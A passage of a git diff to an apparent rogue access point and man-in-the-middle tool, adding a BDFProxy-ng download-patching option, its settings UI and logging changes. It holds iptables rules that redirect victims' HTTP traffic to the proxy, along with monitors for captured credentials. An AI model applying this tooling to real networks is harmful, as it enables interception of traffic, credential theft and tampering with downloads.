self.CB_Data_Logger.addItems(all_sessions) + self.connect(self.CB_Data_Logger, SIGNAL('activated(QString)'), self.combo_clicked) + index = self.CB_Data_Logger.findText(all_sessions[len(all_sessions)-2], Qt.MatchFixedString) + self.CB_Data_Logger.setCurrentIndex(index) + self.combo_clicked(self.CB_Data_Logger.currentText()) + + self.btnSave = QPushButton('Export') + self.btnSave.clicked.connect(self.exportFilesSystem) + + self.frm0.addRow('Session:',self.CB_Data_Logger) + self.frm0.addRow(self.GroupBoxINFO) + self.frm0.addRow(self.viewlogger) + self.frm0.addRow(self.GroupBoxFile) + self.frm0.addRow(self.btnSave) + + self.Main.addWidget(self.widget) + self.setLayout(self.Main) \ No newline at end of file diff --git a/Core/helpers/update.py b/Core/helpers/update.py index 9358040..6d0c443 100644 --- a/Core/helpers/update.py +++ b/Core/helpers/update.py @@ -31,6 +31,7 @@ def __init__(self,version,parent = None): super(frm_githubUpdate, self).__init__(parent) self.setWindowTitle("WiFi-Pumpkin Software Update") self.loadtheme(self.configure.XmlThemeSelected()) + self.checkHasCommits = False self.version = version self.UrlDownloadCommits = \ 'https://raw.githubusercontent.com/P0cL4bs/WiFi-Pumpkin/master/Core/config/commits/Lcommits.cfg' @@ -133,6 +134,7 @@ def RcheckCommits(self,commits): self.LCommits.addItem(item) self.btnCheck.setEnabled(True) self.btnUpdate.setEnabled(True) + self.checkHasCommits = True elif 'alive::' in commits: self.pb.update_bar(10) elif '::updated' in commits: diff --git a/Core/themes/theme2.qss b/Core/themes/theme2.qss index 33392c7..b160677 100644 --- a/Core/themes/theme2.qss +++ b/Core/themes/theme2.qss @@ -797,6 +797,15 @@ QTreeView, QListView background-color: #201F1F; } +QListView::indicator:unchecked { image:url(Icons/checkbox_unchecked.png); } + +QListView::indicator:checked, QGroupBox::indicator:checked, QMenu::indicator:non-exclusive:checked +{ + image:url(Icons/checkbox.png); + color: #b1b1b1; + background-color: #302F2F; +} + QTreeView:branch:selected, QTreeView:branch:hover { background: url(Icons/transparent.png); diff --git a/Core/utility/collection.py b/Core/utility/collection.py index 37c47a7..4be9a7c 100644 --- a/Core/utility/collection.py +++ b/Core/utility/collection.py @@ -24,7 +24,7 @@ class SettingsINI(object): """ Settings INI file implemented for Wifi-Pumpkin""" def __init__(self,filename): - if path.isfile(filename) and filename.endswith('.ini'): + if path.isfile(filename): self.psettings = QSettings(filename,QSettings.IniFormat) def get_setting(self,name_group,key,format=str): diff --git a/Core/utility/settings.py b/Core/utility/settings.py index e3d3592..e87a02d 100644 --- a/Core/utility/settings.py +++ b/Core/utility/settings.py @@ -153,6 +153,7 @@ def __init__(self, parent = None): super(frm_Settings, self).__init__(parent) self.setWindowTitle('Settings WiFi-Pompkin') self.Settings = SettingsINI('Core/config/app/config.ini') + self.bdfproxyConf = SettingsINI(self.Settings.get_setting('plugins','bdfproxy_patch_config')) self.loadtheme(self.XmlThemeSelected()) self.setGeometry(0, 0, 420, 440) self.center() @@ -304,6 +305,8 @@ def Qui(self): #page Adavanced + self.bdfProxy_port = QSpinBox() + self.bdfProxy_port.setMaximum(10000) self.txt_ranger = QLineEdit(self) self.txt_arguments = QLineEdit(self) self.scan1 = QRadioButton('Ping Scan:: Very fast scan IP') @@ -338,7 +341,7 @@ def Qui(self): self.txt_ranger.setText(self.Settings.get_setting('settings','scanner_rangeIP')) self.txt_arguments.setText(self.Settings.get_setting('settings','mdk3')) self.scanIP_selected = self.Settings.get_setting('settings','Function_scan') - + self.bdfProxy_port.setValue(int(self.bdfproxyConf.get_setting('Overall','proxyPort'))) if self.scanIP_selected == 'Ping': self.scan1.setChecked(True) self.scan2.setEnabled(False) #settings tab Advanced @@ -348,6 +351,7 @@ def Qui(self): self.formGroupAd.addRow(QLabel('Thread Scan IP-Address:')) self.formGroupAd.addRow(self.scan1) self.formGroupAd.addRow(self.scan2) + self.formGroupAd.addRow('Port BDFProxy-ng',self.bdfProxy_port) self.formGroupAd.addRow('Port sslstrip:',self.redirectport) self.formGroupAd.addRow(QLabel('mdk3 Args:'),self.txt_arguments) self.formGroupAd.addRow(QLabel('Range Scanner:'),self.txt_ranger) diff --git a/Core/utility/threads.py b/Core/utility/threads.py index dba850a..70dff44 100644 --- a/Core/utility/threads.py +++ b/Core/utility/threads.py @@ -43,9 +43,10 @@ def stop(self): class ThRunDhcp(QThread): ''' thread: run DHCP on background fuctions''' sendRequest = pyqtSignal(object) - def __init__(self,args): + def __init__(self,args,session): QThread.__init__(self) self.args = args + self.session = session self.process = None def getNameThread(self): @@ -55,7 +56,7 @@ def run(self): print '[New Thread {} ({})]'.format(self.currentThreadId(),self.objectName()) self.process = Popen(self.args, stdout=PIPE,stderr=STDOUT,preexec_fn=setsid) - setup_logger('dhcp', './Logs/AccessPoint/dhcp.log') + setup_logger('dhcp', './Logs/AccessPoint/dhcp.log',self.session) loggerDhcp = logging.getLogger('dhcp') loggerDhcp.info('---[ Start DHCP '+asctime()+']---') for line,data in enumerate(iter(self.process.stdout.readline, b'')): @@ -134,6 +135,7 @@ def stop(self): class ProcessThread(QObject): + _ProcssOutput = pyqtSignal(object) def __init__(self,cmd,): QObject.__init__(self) self.cmd = cmd @@ -144,6 +146,7 @@ def getNameThread(self): @pyqtSlot() def readProcessOutput(self): self.data = str(self.procThread.readAllStandardOutput()) + self._ProcssOutput.emit(self.data) def start(self): self.procThread = QProcess(self) @@ -162,9 +165,10 @@ def stop(self): class ProcessHostapd(QObject): statusAP_connected = pyqtSignal(object) - def __init__(self,cmd): + def __init__(self,cmd,session): QObject.__init__(self) self.cmd = cmd + self.session = session def getNameThread(self): return '[New Thread {} ({})]'.format(self.procHostapd.pid(),self.objectName()) @@ -174,7 +178,7 @@ def read_OutputCommand(self): self.data = str(self.procHostapd.readAllStandardOutput()) if 'AP-STA-DISCONNECTED' in self.data.rstrip() or 'inactivity (timer DEAUTH/REMOVE)' in self.data.rstrip(): self.statusAP_connected.emit(self.data.split()[2]) - + self.log_hostapd.info(self.data) def start(self): self.makeLogger() self.procHostapd = QProcess(self) @@ -184,7 +188,7 @@ def start(self): print '[New Thread {} ({})]'.format(self.procHostapd.pid(),self.objectName()) def makeLogger(self): - setup_logger('hostapd', './Logs/AccessPoint/requestAP.log') + setup_logger('hostapd', './Logs/AccessPoint/hostapd.log',self.session) self.log_hostapd = logging.getLogger('hostapd') def stop(self): @@ -205,11 +209,12 @@ def stop(self): class Thread_sslstrip(QThread): '''Thread: run sslstrip on brackground''' - def __init__(self,port,plugins={},data= {}): + def __init__(self,port,plugins={},data= {},session=None): QThread.__init__(self) self.port = port self.plugins = plugins self.loaderPlugins = data + self.session = session def getNameThread(self): return '[New Thread {} ({})]'.format(self.currentThreadId(),self.objectName()) @@ -225,7 +230,7 @@ def run(self): if self.loaderPlugins['Plugins'] != None: self.plugins[self.loaderPlugins['Plugins']].getInstance()._activated = True self.plugins[self.loaderPlugins['Plugins']].getInstance().setInjectionCode( - self.loaderPlugins['Content']) + self.loaderPlugins['Content'],self.session) URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) CookieCleaner.getInstance().setEnabled(killSessions) strippingFactory = http.HTTPFactory(timeout=10) @@ -239,11 +244,12 @@ def stop(self): class Thread_sergioProxy(QThread): '''Thread: run sergio-proxy on brackground''' - def __init__(self,port,plugins={},options= {}): + def __init__(self,port,plugins={},data= {},session=None): QThread.__init__(self) self.port = port self.PumpPlugins = plugins - self.loaderPlugins = options + self.loaderPlugins = data + self.session = session def getNameThread(self): return '[New Thread {} ({})]'.format(self.currentThreadId(),self.objectName()) @@ -257,7 +263,7 @@ def run(self): if self.loaderPlugins['Plugins'] != None: self.PumpPlugins[self.loaderPlugins['Plugins']].getInstance()._activated = True self.PumpPlugins[self.loaderPlugins['Plugins']].getInstance().setInjectionCode( - self.loaderPlugins['Content']) + self.loaderPlugins['Content'],self.session) # load plugins will be implemented coming soon parser = argparse.ArgumentParser( description="Sergio Proxy v%s - An HTTP MITM Tool" % sergio_version, diff --git a/Core/widgets/PluginsSettings.py b/Core/widgets/PluginsSettings.py new file mode 100644 index 0000000..7b2c399 --- /dev/null +++ b/Core/widgets/PluginsSettings.py @@ -0,0 +1,107 @@ +from configobj import ConfigObj,Section +from collections import OrderedDict +from Core.loaders.Stealth.PackagesUI import * + +class BDFProxy_ConfigObject(PumpkinModule): + def __init__(self,parent=None): + super(BDFProxy_ConfigObject, self).__init__(parent) + self.setWindowTitle('DBFProxy-ng Plugin Settings v.0.1') + self.setGeometry(0,0,480, 500) + self.main = QVBoxLayout() + self.THeaders = {'Config':[],'Value':[] } + self.userConfig = ConfigObj(str(self.configure.Settings.get_setting('plugins','bdfproxy_patch_config'))) + self.userConfig.interpolation = False + self.loadtheme(self.configure.XmlThemeSelected()) + self.center() + self.GUI() + + def addRowTableWidget(self, _key, _value): + Headers = [] + self.THeaders['Config'].append(_key) + self.THeaders['Value'].append(_value) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QTableWidgetItem(item) + item.setFlags(item.flags() | Qt.ItemIsEditable) + self.TabSettings.setItem(m, n, item) + self.TabSettings.resizeColumnToContents(0) + + def getAllRowTablesWidget(self): + model = self.TabSettings.model() + data,datafilter,self.key = [],OrderedDict(),None + for row in range(model.rowCount()): + data.append([]) + for column in range(model.columnCount()): + index = model.index(row, column) + data[row].append(str(model.data(index).toString())) + datafilter['ESP'] = {} + datafilter['LinuxIntelx86'] = {} + datafilter['LinuxIntelx64'] = {} + datafilter['WindowsIntelx86'] = {} + datafilter['WindowsIntelx64'] = {} + datafilter['MachoIntelx86'] = {} + datafilter['MachoIntelx64'] = {} + for count,item in enumerate(data): + if count < 5: + if item[0] != '' or item[1] != '': + datafilter['ESP'][item[0]] = item[1] + else: + if item[0] != '' or item[1] != '': + if item[1] in datafilter.keys(): + self.key = item[1] + else: + datafilter[self.key][item[0]] = item[1] + return datafilter + + def saveConfigObject(self): + self.checkConfigKeysBDFProxy(saveObjct=True) + QMessageBox.information(self,'BDFProxy-ng Settings','All settings in {} has been saved ' + 'with success.'.format(str(self.configure.Settings.get_setting('plugins','bdfproxy_patch_config')))) + self.close() + + def checkConfigKeysBDFProxy(self,saveObjct=False): + if saveObjct: changedData = self.getAllRowTablesWidget() + for target in self.userConfig['targets'].keys(): + if target == 'ALL': + for item in self.userConfig['targets']['ALL']: + if type(self.userConfig['targets']['ALL'][item]) == str: + if saveObjct: + self.userConfig['targets']['ALL'][item] = changedData['ESP'][item] + else: + self.addRowTableWidget(item,self.userConfig['targets']['ALL'][item]) + elif type(self.userConfig['targets']['ALL'][item]) == Section: + if saveObjct: + self.userConfig['targets']['ALL'][item] = changedData[item] + else: + self.addRowTableWidget('-'*35+'>',item) + for key in self.userConfig['targets']['ALL'][item]: + self.addRowTableWidget(key,self.userConfig['targets']['ALL'][item][key]) + if saveObjct: self.userConfig.write() + + def GUI(self): + self.TabSettings = QTableWidget(50,2) + self.btnSave = QPushButton('Save Settings') + self.GroupBox = QGroupBox(self) + self.widget = QWidget() + self.layoutGroup = QVBoxLayout(self.widget) + self.GroupBox.setLayout(self.layoutGroup) + self.GroupBox.setTitle('Options') + self.checkConfigKeysBDFProxy() + self.btnSave.clicked.connect(self.saveConfigObject) + self.TabSettings.resizeRowsToContents() + self.TabSettings.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.TabSettings.horizontalHeader().setStretchLastSection(True) + self.TabSettings.setSelectionBehavior(QAbstractItemView.SelectRows) + #self.TabSettings.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.TabSettings.verticalHeader().setVisible(False) + self.TabSettings.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabSettings.verticalHeader().setDefaultSectionSize(23) + + + self.layout = QVBoxLayout(self.widget) + self.layoutGroup.addWidget(self.TabSettings) + self.layout.addWidget(self.GroupBox) + self.layout.addWidget(self.btnSave) + self.main.addWidget(self.widget) + self.setLayout(self.main) \ No newline at end of file diff --git a/Core/widgets/PopupModels.py b/Core/widgets/PopupModels.py index 40da3b8..d53e6d5 100644 --- a/Core/widgets/PopupModels.py +++ b/Core/widgets/PopupModels.py @@ -3,6 +3,7 @@ from PyQt4.QtGui import * from PyQt4.QtCore import * from Core.Utils import Refactor +from Core.widgets.PluginsSettings import BDFProxy_ConfigObject """ Description: This program is a Core for wifi-pumpkin.py. file which includes functionality @@ -41,18 +42,29 @@ def __init__(self,FSettings): self.check_netcreds = QCheckBox('net-creds ') self.check_dns2proy = QRadioButton('sslstrip+/dns2proxy') self.check_sergioProxy = QRadioButton('sslstrip/sergio-proxy') + self.check_bdfproxy = QRadioButton('BDFProxy-ng') self.check_noproxy = QRadioButton('No Proxy') + + self.btnBDFSettings = QPushButton('Config') + self.btnBDFSettings.setIcon(QIcon('Icons/config.png')) + self.btnBDFSettings.clicked.connect(self.ConfigOBJBDFproxy) + self.proxyGroup = QButtonGroup() self.proxyGroup.addButton(self.check_dns2proy) self.proxyGroup.addButton(self.check_sergioProxy) self.proxyGroup.addButton(self.check_noproxy) - self.check_dns2proy.clicked.connect(self.checkGeneralOptions) + self.proxyGroup.addButton(self.check_bdfproxy) + self.check_netcreds.clicked.connect(self.checkBoxNecreds) + self.check_dns2proy.clicked.connect(self.checkGeneralOptions) self.check_sergioProxy.clicked.connect(self.checkGeneralOptions) + self.check_bdfproxy.clicked.connect(self.checkGeneralOptions) self.check_noproxy.clicked.connect(self.checkGeneralOptions) + self.layoutform.addRow(self.check_netcreds) self.layoutproxy.addRow(self.check_dns2proy) self.layoutproxy.addRow(self.check_sergioProxy) + self.layoutproxy.addRow(self.check_bdfproxy,self.btnBDFSettings) self.layoutproxy.addRow(self.check_noproxy) self.layout.addWidget(self.GroupPlugins) self.layout.addWidget(self.GroupPluginsProxy) @@ -62,23 +74,40 @@ def __init__(self,FSettings): def checkGeneralOptions(self): self.unset_Rules('dns2proxy') self.unset_Rules('sslstrip') + self.unset_Rules('bdfproxy') if self.check_sergioProxy.isChecked(): self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',True) self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False) self.FSettings.Settings.set_setting('plugins','noproxy',False) + self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False) self.set_sslStripRule() elif self.check_dns2proy.isChecked(): self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',True) self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False) self.FSettings.Settings.set_setting('plugins','noproxy',False) + self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False) self.set_sslStripRule() self.set_Dns2proxyRule() + elif self.check_bdfproxy.isChecked(): + self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',True) + self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False) + self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False) + self.FSettings.Settings.set_setting('plugins','noproxy',False) + self.unset_Rules('dns2proxy') + self.unset_Rules('sslstrip') + self.set_BDFproxyRule() elif self.check_noproxy.isChecked(): self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False) self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False) + self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False) self.FSettings.Settings.set_setting('plugins','noproxy',True) self.unset_Rules('dns2proxy') self.unset_Rules('sslstrip') + self.unset_Rules('bdfproxy') + + def ConfigOBJBDFproxy(self): + self.SettingsBDFProxy = BDFProxy_ConfigObject() + self.SettingsBDFProxy.show() def checkBoxNecreds(self): if self.check_netcreds.isChecked(): @@ -87,10 +116,12 @@ def checkBoxNecreds(self): self.FSettings.Settings.set_setting('plugins','netcreds_plugin',False) def optionsRules(self,type): - search = {'sslstrip': str('iptables -t nat -A PREROUTING -p tcp'+ + search = { + 'sslstrip': str('iptables -t nat -A PREROUTING -p tcp'+ ' --destination-port 80 -j REDIRECT --to-port '+self.FSettings.redirectport.text()), - 'dns2proxy':str('iptables -t nat -A PREROUTING -p '+ - 'udp --destination-port 53 -j REDIRECT --to-port 53')} + 'dns2proxy':str('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53'), + 'bdfproxy':str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port '+ + str(self.FSettings.bdfProxy_port.value()))} return search[type] # set rules to sslstrip @@ -112,6 +143,18 @@ def set_Dns2proxyRule(self): item.setSizeHint(QSize(30,30)) self.FSettings.ListRules.addItem(item) + # set redirect port rules bdfproxy + def set_BDFproxyRule(self): + items = [] + for index in xrange(self.FSettings.ListRules.count()): + items.append(str(self.FSettings.ListRules.item(index).text())) + if self.optionsRules('bdfproxy') in items: + return + item = QListWidgetItem() + item.setText(self.optionsRules('bdfproxy')) + item.setSizeHint(QSize(30,30)) + self.FSettings.ListRules.addItem(item) + def unset_Rules(self,type): items = [] for index in xrange(self.FSettings.ListRules.count()): diff --git a/Core/widgets/TabModels.py b/Core/widgets/TabModels.py index e5014e4..fb9f081 100644 --- a/Core/widgets/TabModels.py +++ b/Core/widgets/TabModels.py @@ -136,8 +136,6 @@ def ProcessReadLogger(self): if path.exists('Logs/AccessPoint/injectionPage.log'): with open('Logs/AccessPoint/injectionPage.log','w') as bufferlog: bufferlog.write(''), bufferlog.close() - filelist = [ f for f in listdir('Logs/AccessPoint/.') if f.endswith('.log.offset') ] - for f in filelist: system('rm Logs/AccessPoint/{}'.format(f)) self.injectionThread = ThreadPopen(['tail','-f','Logs/AccessPoint/injectionPage.log']) self.connect(self.injectionThread,SIGNAL('Activated ( QString ) '), self.GetloggerInjection) self.injectionThread.setObjectName('Pump-Proxy::Capture') @@ -316,25 +314,29 @@ def __init__(self, parent = None,dockinfo=None,InitialMehtod=None,FsettingsUI=No # Area Group self.gridArea = QGridLayout() self.CB_ActiveMode = QCheckBox('::Advanced Mode:: Monitor MITM Attack') - self.CB_phising = QCheckBox('Phishing') self.CB_Cread = QCheckBox('Credentials') self.CB_monitorURL = QCheckBox('URL Monitor') + self.CB_bdfproxy = QCheckBox('BDFProxy-ng') + self.CB_dns2proxy = QCheckBox('Dns2Proxy') self.CB_ActiveMode.setChecked(self.FSettings.Settings.get_setting('dockarea','advanced',format=bool)) self.CB_Cread.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_credencials',format=bool)) self.CB_monitorURL.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_urlmonitor',format=bool)) - self.CB_phising.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_phishing',format=bool)) + self.CB_bdfproxy.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_bdfproxy',format=bool)) + self.CB_dns2proxy.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_dns2proxy',format=bool)) #connect self.doCheckAdvanced() self.CB_ActiveMode.clicked.connect(self.doCheckAdvanced) - self.CB_phising.clicked.connect(self.doCheckAdvanced) self.CB_monitorURL.clicked.connect(self.doCheckAdvanced) self.CB_Cread.clicked.connect(self.doCheckAdvanced) + self.CB_bdfproxy.clicked.connect(self.doCheckAdvanced) + self.CB_dns2proxy.clicked.connect(self.doCheckAdvanced) # group self.layoutArea.addRow(self.CB_ActiveMode) self.gridArea.addWidget(self.CB_monitorURL,0,0,) self.gridArea.addWidget(self.CB_Cread,0,1) - self.gridArea.addWidget(self.CB_phising,0,2) + self.gridArea.addWidget(self.CB_bdfproxy,1,0) + self.gridArea.addWidget(self.CB_dns2proxy,1,1) self.layoutArea.addRow(self.gridArea) self.GroupArea.setTitle('MonitorArea-Settings') self.GroupArea.setLayout(self.layoutArea) @@ -391,27 +393,29 @@ def AreaWidgetLoader(self,DockInfo): def doCheckAdvanced(self): if self.CB_ActiveMode.isChecked(): self.CB_monitorURL.setEnabled(True) - self.CB_phising.setEnabled(True) self.CB_Cread.setEnabled(True) + self.CB_bdfproxy.setEnabled(True) + self.CB_dns2proxy.setEnabled(True) else: self.CB_monitorURL.setEnabled(False) - self.CB_phising.setEnabled(False) self.CB_Cread.setEnabled(False) + self.CB_bdfproxy.setEnabled(False) + self.CB_dns2proxy.setEnabled(False) self.FSettings.Settings.set_setting('dockarea','dock_credencials',self.CB_Cread.isChecked()) - self.FSettings.Settings.set_setting('dockarea','dock_phishing',self.CB_phising.isChecked()) self.FSettings.Settings.set_setting('dockarea','dock_urlmonitor',self.CB_monitorURL.isChecked()) + self.FSettings.Settings.set_setting('dockarea','dock_bdfproxy',self.CB_bdfproxy.isChecked()) + self.FSettings.Settings.set_setting('dockarea','dock_dns2proxy',self.CB_dns2proxy.isChecked()) self.FSettings.Settings.set_setting('dockarea','advanced',self.CB_ActiveMode.isChecked()) self.dockInfo[':: URLMonitor::']['active'] = self.CB_monitorURL.isChecked() self.dockInfo['::Credentials:: ']['active'] = self.CB_Cread.isChecked() - self.dockInfo['::Pumpkin-Phishing:: ']['active'] = self.CB_phising.isChecked() + self.dockInfo['::bdfproxy:: ']['active'] = self.CB_bdfproxy.isChecked() + self.dockInfo['::dns2proxy:: ']['active'] = self.CB_dns2proxy.isChecked() if self.CB_ActiveMode.isChecked(): self.AreaWidgetLoader(self.dockInfo) self.checkDockArea.emit(self.AllDockArea) if hasattr(self.InitialMehtod,'form_widget'): if hasattr(self.InitialMehtod.form_widget,'Apthreads'): if self.InitialMehtod.form_widget.Apthreads['RougeAP'] != []: - filelist = [ f for f in listdir('Logs/AccessPoint/.') if f.endswith('.log.offset') ] - for f in filelist: system('rm Logs/AccessPoint/{}'.format(f)) for dock in self.InitialMehtod.form_widget.dockAreaList.keys(): self.InitialMehtod.form_widget.dockAreaList[dock].RunThread() else: diff --git a/Core/widgets/docks/DockMonitor.py b/Core/widgets/docks/DockMonitor.py index fb0b6dd..600e543 100644 --- a/Core/widgets/docks/DockMonitor.py +++ b/Core/widgets/docks/DockMonitor.py @@ -36,12 +36,7 @@ def __init__(self, parent=None,info={}): def RunThread(self): self.startThread = True - if self.logger != {}: - self.processThread = ThreadLogger(self.logger['path']) - self.connect(self.processThread,SIGNAL('Activated ( QString ) '), self.writeModeData) - self.processThread.setObjectName(self.logger['thread_name']) - if path.exists(self.logger['path']): - self.processThread.start() + def writeModeData(self,data): self.addItem(data) self.scrollToBottom() diff --git a/Icons/checkbox_unchecked.png b/Icons/checkbox_unchecked.png new file mode 100644 index 0000000..2159aca Binary files /dev/null and b/Icons/checkbox_unchecked.png differ diff --git a/Icons/settings.png b/Icons/config.png similarity index 100% rename from Icons/settings.png rename to Icons/config.png diff --git a/Logs/AccessPoint/requestAP.log b/Logs/AccessPoint/bdfproxy.log similarity index 100% rename from Logs/AccessPoint/requestAP.log rename to Logs/AccessPoint/bdfproxy.log diff --git a/Modules/monitors/Credentials.py b/Modules/monitors/Credentials.py index f5659c2..8e0428b 100644 --- a/Modules/monitors/Credentials.py +++ b/Modules/monitors/Credentials.py @@ -14,9 +14,11 @@ def __init__(self, parent = None): def Start_Get_creds(self): self.listDns.clear() + self.btn_getdata.setEnabled(False) + self.btn_exit.setEnabled(True) # Thread Capture logs - if path.exists('Logs/Phishing/Webclone.log'): - dns = ThreadPopen(['tail','-f','Logs/Phishing/Webclone.log']) + if path.exists('Logs/Phishing/requests.log'): + dns = ThreadPopen(['tail','-f','Logs/Phishing/requests.log']) self.connect(dns,SIGNAL('Activated ( QString ) '), self.loggerdns) dns.setObjectName('Phishing::Capture') self.thread.append(dns) @@ -34,8 +36,9 @@ def exit_function(self): self.deleteLater() def Qui(self): self.frm0 = QFormLayout() + self.widget = QWidget() + self.layout = QVBoxLayout(self.widget) self.listDns = QListWidget(self) - self.listDns.setFixedHeight(300) self.listDns.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) self.listDns.setAutoScroll(True) @@ -43,12 +46,13 @@ def Qui(self): self.btn_getdata.setIcon(QIcon('Icons/start.png')) self.btn_getdata.clicked.connect(self.Start_Get_creds) self.btn_exit = QPushButton('Kill') + self.btn_exit.setEnabled(False) self.btn_exit.setIcon(QIcon('Icons/cancel.png')) self.btn_exit.clicked.connect(self.exit_function) - self.frm0.addWidget(self.listDns) + self.layout.addWidget(self.listDns) + self.layout.addLayout(self.frm0) - self.frm0.addRow(self.btn_getdata) - self.frm0.addRow(self.btn_exit) - self.Main.addLayout(self.frm0) + self.frm0.addRow(self.btn_getdata,self.btn_exit) + self.Main.addWidget(self.widget) self.setLayout(self.Main) \ No newline at end of file diff --git a/Modules/monitors/dns2proxy.py b/Modules/monitors/dns2proxy.py index bb4831f..902d774 100644 --- a/Modules/monitors/dns2proxy.py +++ b/Modules/monitors/dns2proxy.py @@ -15,6 +15,8 @@ def __init__(self, parent = None): def Start_Get_creds(self): self.listDns.clear() + self.btn_getdata.setEnabled(False) + self.btn_exit.setEnabled(True) # Thread Capture logs if path.exists('Logs/AccessPoint/dns2proxy.log'): dns = ThreadPopen(['tail','-f','Logs/AccessPoint/dns2proxy.log']) @@ -35,21 +37,23 @@ def exit_function(self): self.deleteLater() def Qui(self): self.frm0 = QFormLayout() - self.listDns = QListWidget() + self.widget = QWidget() + self.layout = QVBoxLayout(self.widget) + self.listDns = QListWidget(self) self.listDns.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) - self.listDns.setFixedHeight(320) self.listDns.setAutoScroll(True) self.btn_getdata = QPushButton('Capture logs') self.btn_getdata.setIcon(QIcon('Icons/start.png')) self.btn_getdata.clicked.connect(self.Start_Get_creds) self.btn_exit = QPushButton('Kill') + self.btn_exit.setEnabled(False) self.btn_exit.setIcon(QIcon('Icons/cancel.png')) self.btn_exit.clicked.connect(self.exit_function) - self.frm0.addWidget(self.listDns) + self.layout.addWidget(self.listDns) + self.layout.addLayout(self.frm0) - self.frm0.addRow(self.btn_getdata) - self.frm0.addRow(self.btn_exit) - self.Main.addLayout(self.frm0) + self.frm0.addRow(self.btn_getdata,self.btn_exit) + self.Main.addWidget(self.widget) self.setLayout(self.Main) \ No newline at end of file diff --git a/Modules/monitors/netcreds.py b/Modules/monitors/netcreds.py index fdf8588..906c613 100644 --- a/Modules/monitors/netcreds.py +++ b/Modules/monitors/netcreds.py @@ -14,8 +14,10 @@ def __init__(self, parent = None): self.Qui() def Start_Get_creds(self): - self.listDns.clear() + self.listURL.clear() self.list_creds.clear() + self.btn_getdata.setEnabled(False) + self.btn_exit.setEnabled(True) # Thread Capture logs creds = ThreadPopen(['tail','-f','Logs/AccessPoint/credentials.log']) self.connect(creds,SIGNAL('Activated ( QString ) '), self.loggercreds) @@ -36,32 +38,51 @@ def loggercreds(self,data): self.list_creds.addItem(data) self.list_creds.scrollToBottom() def loggerurls(self,data): - self.listDns.addItem(data) - self.listDns.scrollToBottom() + self.listURL.addItem(data) + self.listURL.scrollToBottom() def exit_function(self): for i in self.thread:i.stop() self.deleteLater() def Qui(self): self.frm0 = QFormLayout() - self.listDns = QListWidget() - self.listDns.setAutoScroll(True) + self.widget = QWidget() + self.layout = QVBoxLayout(self.widget) + + self.listURL = QListWidget(self) self.list_creds = QListWidget(self) + + self.GroupBoxURL = QGroupBox() + self.layoutGroupURL = QVBoxLayout() + self.GroupBoxURL.setLayout(self.layoutGroupURL) + self.GroupBoxURL.setTitle('Monitor::URLCapture') + self.layoutGroupURL.addWidget(self.listURL) + + self.listURL.setAutoScroll(True) + self.listURL.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + self.list_creds.setAutoScroll(True) self.list_creds.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) - self.listDns.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) + + + self.GroupBoxCreds = QGroupBox() + self.layoutGroupCreds = QVBoxLayout() + self.GroupBoxCreds.setLayout(self.layoutGroupCreds) + self.GroupBoxCreds.setTitle('Monitor::Credentials') + self.layoutGroupCreds.addWidget(self.list_creds) self.btn_getdata = QPushButton('Capture logs') self.btn_getdata.setIcon(QIcon('Icons/start.png')) self.btn_getdata.clicked.connect(self.Start_Get_creds) self.btn_exit = QPushButton('Kill') + self.btn_exit.setEnabled(False) self.btn_exit.setIcon(QIcon('Icons/cancel.png')) self.btn_exit.clicked.connect(self.exit_function) - self.frm0.addRow(self.listDns) - self.frm0.addRow(self.list_creds) + self.layout.addWidget(self.GroupBoxURL) + self.layout.addWidget(self.GroupBoxCreds) + self.layout.addLayout(self.frm0) - self.frm0.addRow(self.btn_getdata) - self.frm0.addRow(self.btn_exit) - self.Main.addLayout(self.frm0) + self.frm0.addRow(self.btn_getdata,self.btn_exit) + self.Main.addWidget(self.widget) self.setLayout(self.Main) \ No newline at end of file diff --git a/Modules/poisoners/ArpPosion.py b/Modules/poisoners/ArpPosion.py index 99c19d6..6f9a67b 100644 --- a/Modules/poisoners/ArpPosion.py +++ b/Modules/poisoners/ArpPosion.py @@ -29,11 +29,12 @@ class frm_Arp_Poison(PumpkinModule): - def __init__(self, parent=None): + def __init__(self,PhishingManager ,parent=None): super(frm_Arp_Poison, self).__init__(parent) self.setWindowTitle('Arp Poison Attack ') self.Main = QVBoxLayout() self.owd = getcwd() + self.Ftemplates = PhishingManager self.loadtheme(self.configure.XmlThemeSelected()) self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} self.ThreadDirc = {'Arp_posion':[]} @@ -222,7 +223,7 @@ def discoveryIface(self,iface): def show_frm_fake(self): self.n = frm_update_attack() - self.n.setGeometry(QRect(100, 100, 450, 300)) + self.n.setGeometry(QRect(100, 100, 300, 300)) self.n.show() def emit_template(self,log): diff --git a/Modules/poisoners/DnsSpoof.py b/Modules/poisoners/DnsSpoof.py index 76dfbd2..da41452 100644 --- a/Modules/poisoners/DnsSpoof.py +++ b/Modules/poisoners/DnsSpoof.py @@ -32,11 +32,12 @@ """ class frm_DnsSpoof(PumpkinModule): - def 